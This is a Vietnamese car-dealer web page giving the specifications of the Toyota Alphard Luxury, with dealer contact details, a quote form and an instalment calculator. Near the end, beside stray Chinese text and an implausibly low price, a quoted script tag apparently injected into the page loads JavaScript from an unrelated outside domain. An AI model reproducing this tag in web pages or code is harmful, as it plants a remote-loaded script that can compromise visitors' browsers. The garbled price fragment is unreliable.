TOYOTA ALPHARD LUXURY

Kích thước
Kích thước tổng thể bên ngoài (D x R x C) (mm x mm x mm) 4945 x 1850 x 1890
Kích thước tổng thể bên trong (D x R x C) (mm x mm x mm) 3210 x 1590 x 1400
Chiều dài cơ sở (mm) 3000
Chiều rộng cơ sở (Trước/sau) (mm) 1575/1600
Khoảng sáng gầm xe (mm) 165
Bán kính vòng quay tối thiểu (m) 5.8
Trọng lượng không tải (kg) 2180-2185
Trọng lượng toàn tải (kg) 2710
Dung tích bình nhiên liệu (L) 75
Động cơ
Loại động cơ 2GR-FKS, 3.5L gas, 24-valve, DOHC with Dual VVT-i
Số xy lanh 6
Bố trí xy lanh Hình chữ V
Dung tích xy lanh (cc) 3456
Tỉ số nén 11.8:1
Hệ thống nhiên liệu Phun xăng điện tử/EFI
Loại nhiên liệu Xăng không chì
Công suất tối đa ((KW @ vòng/phút)) 296 (221)/6600
Mô men xoắn tối đa (Nm @ vòng/phút) 361/4600-4700
Tốc độ tối đa 180
Hệ thống ngắt/ mở động cơ tự động
Tiêu chuẩn khí thải Euro 4
Truyền động
Hệ thống truyền động Cầu trước, dẫn động bánh trước
Hộp số Tự động 8 cấp / 8-speed Automatic
Hệ thống lái Cơ cấu truyền động thanh răng/Rack & pinion
Trợ lực tay lái Điện/Electric
Treo, lốp & phanh
Hệ thống treo trước Độc lập MacPherson/MacPherson strut with Stabilizer
Hệ thống treo sau Tay đòn kép/Double wishbone with Stabilizer
Loại vành 18x7.5J, Mâm đúc/Alloy
Kích thước lốp 235/50R18
Lốp dự phòng T155/80D17, Mâm đúc/Alloy
Phanh trước Đĩa tản nhiệt
Phanh sau Đĩa tản nhiệt
Tiêu thụ nhiên liệu
Kết hợp 9.3
Trong đô thị 12
Ngoài đô thị 7.7
Tay lái
Loại tay lái 4 chấu/4-spoke
Chất liệu Bọc da, vân gỗ, ốp bạc
Sưởi vô lăng
Nút bấm điều khiển tích hợp Tích hợp chế độ đàm thoại rảnh tay, điều chỉnh âm thanh, MID
Điều chỉnh Chỉnh tay 4 hướng
Lẫy chuyển số Không có
Bộ nhớ vị trí Không có
Gương, tay nắm, đồng hồ
Gương chiếu hậu trong Gương toàn cảnh
Tay nắm cửa trong Mạ crôm
Tay nắm cửa ngoài Mạ crôm
Loại đồng hồ Optitron
Đèn báo chế độ Eco
Chức năng báo lượng tiêu thụ nhiên liệu
Chức năng báo vị trí cần số
Màn hình hiển thị đa thông tin Màn hình 4.2'', màn hình màu tinh thể lỏng
Cửa sổ trời
Ghế
Chất liệu bọc ghế Da
Loại ghế trước Thường
Điều chỉnh ghế lái Chỉnh điện 6 hướng, chức năng trượt tự động
Điều chỉnh ghế hành khách Chỉnh điện 4 hướng, đệm chân điều chỉnh điện
Bộ nhớ vị trí Có (3 vị trí)
Chức năng thông gió
Chức năng sưởi
Túi đựng đồ sau lưng ghế
Hàng ghế thứ hai Ghế VIP chỉnh điện 4 hướng có đệm để chân chỉnh 4 hướng
Sưởi ghế/thông gió hàng ghế thứ 2
Tựa tay hàng ghế thứ hai
Hàng ghế thứ ba Gập 50:50 sang hai bên
Tựa tay hàng ghế thứ ba
Cụm đèn trước
Đèn chiếu gần LED dạng bóng chiếu
Đèn chiếu xa LED dạng bóng chiếu
Đèn chiếu sáng ban ngày
Hệ thống rửa đèn Không có
Hệ thống điều khiển đèn tự động
Hệ thống mở rộng góc chiếu tự động Không có
Hệ thống cân bằng góc chiếu Tự động
Chế độ đèn chờ dẫn đường Không có
Đèn sương mù Có (LED)
Cụm đèn sau
Đèn báo phanh trên cao LED
Đèn sương mù Không
Cụm đèn sau LED
Gương chiếu hậu ngoài
Chức năng điều chỉnh điện
Chức năng gập điện
Tích hợp đèn báo rẽ
Tích hợp đèn chào mừng
Chức năng tự điều chỉnh khi lùi Không có
Bộ nhớ vị trí
Chức năng sấy gương Không có
Chức năng chống bám nước
Chức năng chống chói tự động Không có
Linh tinh
Gạt mưa trước Gián đoạn, cảm biến mưa
Gạt mưa sau Gián đoạn
Chức năng sấy kính sau Có, điều chỉnh thời gian
Ăng ten Kính sau
Chắn bùn Không
Ốp trang trí nội thất bảng điều khiển trung tâm Ốp gỗ, màu vàng, mạ chrome
Ốp trang trí nội thất cửa Ốp vân gỗ (màu vàng), trang trí đường chỉ khâu, mạ crôm quanh loa
Ốp trang trí nội thất Bọc da, vân gỗ, ốp bạc
Hộp đựng găng tay
Gạt tàn thuốc trước Đẩy để mở/Push open
Gạt tàn thuốc sau Dạng cốc (tháo được)/Cup type (detachable)
Tay nắm cần sang số Urethane, vân gỗ, mạ bạc
Hộp đựng đồ phía sau Mở 2 chiều, 2 ngăn dự trữ, trang trí gỗ và kim loại
Đèn đọc sách trước LED, 2 cái
Đèn đọc sách sau LED, 4 cái
Đèn trang trí trần xe Dải đèn trang trí trần xe điều chỉnh 16 màu
Hệ thống chiếu sáng cửa ra vào
Tấm che nắng ghế lái Có gương, kẹp vé, đèn
Tấm che nắng ghế phụ Có gương, đèn
Bật lửa Có đèn chiếu
Mành che nắng
Tay vịn Có (trước sau - 10 cái)
Đèn báo cửa đóng chưa chặt
Báo quên chìa khóa
Báo quên tắt điện
Hộc đựng cốc hàng ghế trước 4 cái
Hộc đựng cốc hàng ghế thứ hai 2 cái
Hộc đựng cốc hàng ghế thứ ba 2 cái
Cửa sổ trời Trước sau/Panoramic
Hệ thống âm thanh
Đầu đĩa DVD/CD/MP3 màn hình cảm ứng 8"
Số loa 17 JBL
Cổng kết nối AUX
Cổng kết nối USB
Kết nối Bluetooth
Bảng điều khiển từ hàng ghế sau Không có
Kết nối wifi Không có
Hệ thống giải trí hàng ghế sau Màn hình 9'' (Bluray)
Tiện nghi khác
Rèm che nắng kính sau
Rèm che nắng cửa sau Không có
Hệ thống điều hòa Tự động, 3 vùng độc lập, chức năng lọc không khí Nanoe & tự động điều chỉnh tuần hoàn không khí
Cửa gió sau
Chức năng mở cửa thông minh
Chìa khóa thông minh & khởi động bằng nút bấm
Chức năng khóa cửa từ xa
Phanh tay điện tử
Cửa sổ điều chỉnh điện Tự động lên/xuống tất cả các cửa
Cốp điều khiển điện
Hệ thống sạc không dây Không có
Hệ thống báo động
Chế độ lái tiết kiệm nhiên liệu
Hệ thống điều khiển hành trình
Hệ thống mã hóa khóa động cơ
An toàn chủ động
Hệ thống chống bó cứng phanh
Hệ thống hỗ trợ lực phanh khẩn cấp
Hệ thống phân phối lực phanh điện tử
Hệ thống ổn định thân xe
Hệ thống kiểm soát lực kéo
Hệ thống hỗ trợ khởi hành ngang dốc
Hệ thống hỗ trợ khởi hành đỗ đèo Không có
Hệ thống thích nghi địa hình Không có
Hệ thống lựa chọn vận tốc vượt địa hình Không có
Hệ thống hỗ trợ chuyển làn
Đèn báo phanh khẩn cấp
Hệ thống kiểm soát điểm mù
Hệ thống cảnh báo phương tiện cắt ngang phía sau
Hệ thống cảnh báo áp suất lốp Không có
Camera lùi
Khóa an toàn cho trẻ
Cảm biến hỗ trợ đỗ xe sau
Cảm biến hỗ trợ đỗ xe góc sau
Cảm biến hỗ trợ đỗ xe góc trước
An toàn bị động
Túi khí người lái & hành khách phía trước
Túi khí bên hông phía trước
Túi khí rèm
Túi khí bên hông phía sau Không có
Túi khí đầu gối người lái
Túi khí đầu gối hành khách Không có
Khung xe GOA
Dây đai an toàn trước Dây đai 3 điểm, 2 vị trí + Căng đai + Hạn chế lực căng khẩn cấp
Dây đai an toàn hàng ghế sau thứ nhất Dây đai 3 điểm, 2 vị trí
Ghế có cấu trúc giảm chấn thương cổ

Thông tin liên hệ

TOYOTA AN SƯƠNG

SỐ ĐIỆN THOẠI
0942 199 579

Gửi yêu cầu báo giá

Tên của bạn:

SĐT liên lạc:

Email:

Lời nhắn:

4 038 000₫
Giá chưa bao gồm thuế & phí
"<script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v=4'></script>连锁品牌Toyota
12
đô thị
7.7
cao tốc
Tính toán trả góp
Giá xe (₫)
Lãi suất (%)
Thời hạn (tháng)
Trả trước (₫)
Tính toán
Tiền trả mỗi tháng
Tổng tiền lãi
Tổng tiền phải trả